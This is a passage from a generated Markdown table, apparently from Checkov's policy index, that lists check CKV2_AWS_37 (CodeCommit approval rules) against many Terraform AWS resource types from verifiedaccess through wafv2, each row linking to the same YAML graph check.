resource | aws_verifiedaccess_instance_logging_configuration                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1992 | CKV2_AWS_37     | resource | aws_verifiedaccess_instance_trust_provider_attachment            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1993 | CKV2_AWS_37     | resource | aws_verifiedaccess_trust_provider                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1994 | CKV2_AWS_37     | resource | aws_verifiedpermissions_identity_source                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1995 | CKV2_AWS_37     | resource | aws_verifiedpermissions_policy                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1996 | CKV2_AWS_37     | resource | aws_verifiedpermissions_policy_store                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1997 | CKV2_AWS_37     | resource | aws_verifiedpermissions_policy_template                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1998 | CKV2_AWS_37     | resource | aws_verifiedpermissions_schema                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1999 | CKV2_AWS_37     | resource | aws_volume_attachment                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2000 | CKV2_AWS_37     | resource | aws_vpc                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2001 | CKV2_AWS_37     | resource | aws_vpc_block_public_access_exclusion                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2002 | CKV2_AWS_37     | resource | aws_vpc_block_public_access_options                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2003 | CKV2_AWS_37     | resource | aws_vpc_dhcp_options                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2004 | CKV2_AWS_37     | resource | aws_vpc_dhcp_options_association                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2005 | CKV2_AWS_37     | resource | aws_vpc_endpoint                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2006 | CKV2_AWS_37     | resource | aws_vpc_endpoint_connection_accepter                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2007 | CKV2_AWS_37     | resource | aws_vpc_endpoint_connection_notification                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2008 | CKV2_AWS_37     | resource | aws_vpc_endpoint_policy                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2009 | CKV2_AWS_37     | resource | aws_vpc_endpoint_private_dns                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2010 | CKV2_AWS_37     | resource | aws_vpc_endpoint_route_table_association                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2011 | CKV2_AWS_37     | resource | aws_vpc_endpoint_security_group_association                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2012 | CKV2_AWS_37     | resource | aws_vpc_endpoint_service                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2013 | CKV2_AWS_37     | resource | aws_vpc_endpoint_service_allowed_principal                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2014 | CKV2_AWS_37     | resource | aws_vpc_endpoint_service_private_dns_verification                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2015 | CKV2_AWS_37     | resource | aws_vpc_endpoint_subnet_association                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2016 | CKV2_AWS_37     | resource | aws_vpc_ipam                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2017 | CKV2_AWS_37     | resource | aws_vpc_ipam_organization_admin_account                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2018 | CKV2_AWS_37     | resource | aws_vpc_ipam_pool                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2019 | CKV2_AWS_37     | resource | aws_vpc_ipam_pool_cidr                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2020 | CKV2_AWS_37     | resource | aws_vpc_ipam_pool_cidr_allocation                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2021 | CKV2_AWS_37     | resource | aws_vpc_ipam_preview_next_cidr                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2022 | CKV2_AWS_37     | resource | aws_vpc_ipam_resource_discovery                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2023 | CKV2_AWS_37     | resource | aws_vpc_ipam_resource_discovery_association                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2024 | CKV2_AWS_37     | resource | aws_vpc_ipam_scope                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2025 | CKV2_AWS_37     | resource | aws_vpc_ipv4_cidr_block_association                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2026 | CKV2_AWS_37     | resource | aws_vpc_ipv6_cidr_block_association                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2027 | CKV2_AWS_37     | resource | aws_vpc_network_performance_metric_subscription                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2028 | CKV2_AWS_37     | resource | aws_vpc_peering_connection                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2029 | CKV2_AWS_37     | resource | aws_vpc_peering_connection_accepter                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2030 | CKV2_AWS_37     | resource | aws_vpc_peering_connection_options                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2031 | CKV2_AWS_37     | resource | aws_vpc_security_group_egress_rule                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2032 | CKV2_AWS_37     | resource | aws_vpc_security_group_ingress_rule                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2033 | CKV2_AWS_37     | resource | aws_vpc_security_group_vpc_association                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2034 | CKV2_AWS_37     | resource | aws_vpclattice_access_log_subscription                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2035 | CKV2_AWS_37     | resource | aws_vpclattice_auth_policy                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2036 | CKV2_AWS_37     | resource | aws_vpclattice_listener                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2037 | CKV2_AWS_37     | resource | aws_vpclattice_listener_rule                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2038 | CKV2_AWS_37     | resource | aws_vpclattice_resource_configuration                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2039 | CKV2_AWS_37     | resource | aws_vpclattice_resource_gateway                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2040 | CKV2_AWS_37     | resource | aws_vpclattice_resource_policy                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2041 | CKV2_AWS_37     | resource | aws_vpclattice_service                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2042 | CKV2_AWS_37     | resource | aws_vpclattice_service_network                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2043 | CKV2_AWS_37     | resource | aws_vpclattice_service_network_resource_association              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2044 | CKV2_AWS_37     | resource | aws_vpclattice_service_network_service_association               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2045 | CKV2_AWS_37     | resource | aws_vpclattice_service_network_vpc_association                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2046 | CKV2_AWS_37     | resource | aws_vpclattice_target_group                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2047 | CKV2_AWS_37     | resource | aws_vpclattice_target_group_attachment                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2048 | CKV2_AWS_37     | resource | aws_vpn_connection                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2049 | CKV2_AWS_37     | resource | aws_vpn_connection_route                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2050 | CKV2_AWS_37     | resource | aws_vpn_gateway                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2051 | CKV2_AWS_37     | resource | aws_vpn_gateway_attachment                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2052 | CKV2_AWS_37     | resource | aws_vpn_gateway_route_propagation                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2053 | CKV2_AWS_37     | resource | aws_waf_byte_match_set                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2054 | CKV2_AWS_37     | resource | aws_waf_geo_match_set                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2055 | CKV2_AWS_37     | resource | aws_waf_ipset                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2056 | CKV2_AWS_37     | resource | aws_waf_rate_based_rule                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2057 | CKV2_AWS_37     | resource | aws_waf_regex_match_set                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2058 | CKV2_AWS_37     | resource | aws_waf_regex_pattern_set                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2059 | CKV2_AWS_37     | resource | aws_waf_rule                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2060 | CKV2_AWS_37     | resource | aws_waf_rule_group                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2061 | CKV2_AWS_37     | resource | aws_waf_size_constraint_set                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2062 | CKV2_AWS_37     | resource | aws_waf_sql_injection_match_set                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2063 | CKV2_AWS_37     | resource | aws_waf_web_acl                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2064 | CKV2_AWS_37     | resource | aws_waf_xss_match_set                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2065 | CKV2_AWS_37     | resource | aws_wafregional_byte_match_set                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2066 | CKV2_AWS_37     | resource | aws_wafregional_geo_match_set                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2067 | CKV2_AWS_37     | resource | aws_wafregional_ipset                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2068 | CKV2_AWS_37     | resource | aws_wafregional_rate_based_rule                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2069 | CKV2_AWS_37     | resource | aws_wafregional_regex_match_set                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2070 | CKV2_AWS_37     | resource | aws_wafregional_regex_pattern_set                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2071 | CKV2_AWS_37     | resource | aws_wafregional_rule                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2072 | CKV2_AWS_37     | resource | aws_wafregional_rule_group                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2073 | CKV2_AWS_37     | resource | aws_wafregional_size_constraint_set                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2074 | CKV2_AWS_37     | resource | aws_wafregional_sql_injection_match_set                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2075 | CKV2_AWS_37     | resource | aws_wafregional_web_acl                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2076 | CKV2_AWS_37     | resource | aws_wafregional_web_acl_association                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2077 | CKV2_AWS_37     | resource | aws_wafregional_xss_match_set                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2078 | CKV2_AWS_37     | resource | aws_wafv2_ip_set                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2079 | CKV2_AWS_37     | resource | aws_wafv2_regex_pattern_set                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2080 | CKV2_AWS_37     | resource | aws_wafv2_rule_group                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2081 | CKV2_AWS_37     | resource | aws_wafv2_web_acl                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2082 | CKV2_AWS_37     | resource | aws_wafv2_web_acl_association                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2083 | 